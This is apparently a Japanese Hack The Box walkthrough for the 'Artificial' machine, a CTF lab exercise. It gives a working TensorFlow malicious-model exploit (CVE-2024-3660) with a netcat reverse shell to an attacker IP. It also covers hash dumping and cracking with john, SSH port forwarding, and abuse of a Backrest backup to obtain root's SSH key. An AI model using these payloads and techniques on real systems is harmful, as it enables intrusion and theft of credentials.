本記事では、Hack The BoxのArtificialを攻略した手順を解説します。
1. ポートスキャン
まずはnmapでターゲットのポートを調査します。
$ nmap -A -T4 -Pn -oN report_artificial artificial.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 13:27 JST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 113.19 ms 10.10.14.1
2 135.22 ms artificial.htb (10.10.11.74)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.34 seconds
主な開放ポート:
- 22/tcp (SSH)
- 80/tcp (HTTP)
2. Webページの調査
80/tcpにアクセスしてみますが、重要な情報はありませんでした。
curl -L http://artificial.htb
gobusterを使ってディレクトリを探索します。
$ gobuster dir -u http://artificial.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://artificial.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 857]
/logout (Status: 302) [Size: 189] [--> /]
/register (Status: 200) [Size: 952]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
結果より/dashbordにアクセスしてユーザー登録し
ログインをすればよさそうです。
ブラウザで/dashboardにアクセスし適当に
アカウント登録してログインします。
ファイルをアップロードできるようですが
デフォルトでは.h5という拡張子のファイルを選択するようになっていました。
3. 脆弱性調査・CVE-2024-3660の利用
- ページからダウンロードできる
requirements.txtやDockerfileにはtensorflow_cpuという機械学習のライブラリ名が記載。 -
.h5について調査すると、AIモデルの保存に使う拡張子とのこと
このサイトは、AIモデルをアップロードして評価するサービスのようです。
TensorFlowには下記RCEを可能とする脆弱性がある事がわかりました。
- TensorFlowのRCE脆弱性(CVE-2024-3660)
- 参考記事:(https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model)
リバースシェルの取得
記事から取得したエクスプロイトコードをTensorFlowのインストールされたDockerコンテナでビルドしてエクスプロイトコードを含んだAIモデルを作成し、サイトにアップロードしてリバースシェルの取得を目指します。
エクスプロイトコードの作成
記事を元にリバースシェルを取得する為のエクスプロイトコードを作成しました。
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 6666 >/tmp/f")
# 接続先は自身の環境に置き換える
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
TensorFlow2.10.0 whlの取得
脆弱性はTensorFlow 2.13より低いバージョンで有効なようです。
元のDockerfileはTensorFlow2.13.0なので、このままでは利用できないと考えました。
tensorflow2.10.0のイメージをpypiからダウンロードします。
https://pypi.org/project/tensorflow/2.10.0/#files
DockerコンテナでAIモデルをビルド
以下の手順で実施
-
tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whlをダウンロードしてDockerfileと同じ場所に配置 -
codeディレクトリを作成しエクスプロイトコードを配置 -
Dockerfileを下記のように修正
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
rm -rf /var/lib/apt/lists/*
COPY ./tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl /code/
RUN pip install ./tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
Dockerイメージビルド 名前はtensorflowからとってtenとしました。
docker image build -t ten .
ビルドしたイメージからコンテナを起動
docker container run -it -v "${PWD}/code:/code" --name ten ten
コンテナ内で記事から入手したexploitのコードを実行
python exploit.py
exploit.h5が作成されます
攻撃PCでリバースシェルを待受けます。
nc -lnvp 6666
作成したexploit.h5をターゲットサイトにアップロード
実行して、リバースシェルを取得します。
私の場合なかなかリバースシェルが取れず、最終的にHack The BoxのVPNプロトコルをudpからtcpに変更したらうまくいきました。
4. 探索・権限昇格
- リバースシェル経由でサーバー内部を調査
- user情報が格納されたDBファイルを発見
- DBからパスワードハッシュを取得
- ハッシュをクラックし、SSHパスワードを取得
リバースシェルの安定化
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@artificial:~/app$ ^Z
[1]+ Stopped nc -lnvp 6666
$ stty raw -echo; fg
nc -lnvp 6666
export TEAR=xterm-256color
app@artificial:~/app$ export SHELL=bash
- appユーザーでログインに成功
- gaelユーザーのホームディレクトリを発見
app@artificial:~/app$ ls /home
app gael
-
/home/app/app/app/instanceの下にusers.dbを発見 - gaelユーザーのパスワードhashを取得
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
<snip>
-
hash-identifierで種類を特定→MD5 - ハッシュを
hash.txtに保存 -
johnで解析
john --format=Raw-MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- 取得したパスワードを使いgaelユーザでターゲットにログイン
ssh gael@artificial.htb
5. Backrestログイン・root権限取得
-
/opt/backrest/install.shを確認
backrestというサービスを127.0.0.1:9898で稼働するように登録している。
[Service]
Type=simple
User=$(whoami)
Group=$(whoami)
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"
ssコマンドでリッスンしているポートを確認
gael@artificial:~$ ss -lntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
- SSHポートフォワーディングを実行
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
攻撃端末のブラウザからアクセス
Backrest認証情報の調査
公式ドキュメントの情報より、
/opt/backrest/.config/backrest/config.jsonに認証情報がありそう。
しかし、権限が足りず見る事ができません。
さらに探索すると、/var/backups/backrest_backup.tar.gzというファイルを発見
このファイルは実際にはgzipで圧縮されておらず下記コマンドで展開
tar -xvf /var/backups/backrest_backup.tar.gz -C ./
- ファイルの中に
config.jsonのバックアップが入っていて中を確認 -
name,passwordBcryptが管理コンソールの認証情報のようです。
gael@artificial:~$ cat backrest/.config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
gaelはsysadmグループに所属しているので、バックアップを展開できたのだと思われます
gael@artificial:~$ ls -la /var/backups/
total 51228
<snip>
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
id gael
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
passwordBcryptの内容はbase64エンコードされているのでデコードしてファイルに保存
echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d > hash2.txt
johnで解析
john --format=bcrypt hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt
6.Backrestのバックアップ機能を利用してroot.txtを取得
Backrest管理コンソールにログインして/rootのバックアップを行います。
Backrestの操作が思った以上に難しかったので、私がうまくいった手順を細かく記載
- Repositories → Add Repo でバックアップ先設定
-
作成したPlanを選択してBackup Nowを実行
-
作成したBackUpを選択 → Snapshot Browser → / → root の右横のRestore to pathをクリックして表示された名前で Restore → Confirm Restore?

-
攻撃端末に.tar.gz形式のアーカイブがダウンロードできるので中からroot.txtを取得
おまけ:root権限昇格
取得した/rootディレクトリの中のid_rsaをつかってsshするとroot権限でログインできて、完全攻略となります。
chmod 600 root/.ssh/id_rsa
ssh -i root/.ssh/id_rsa root@artificial.htb




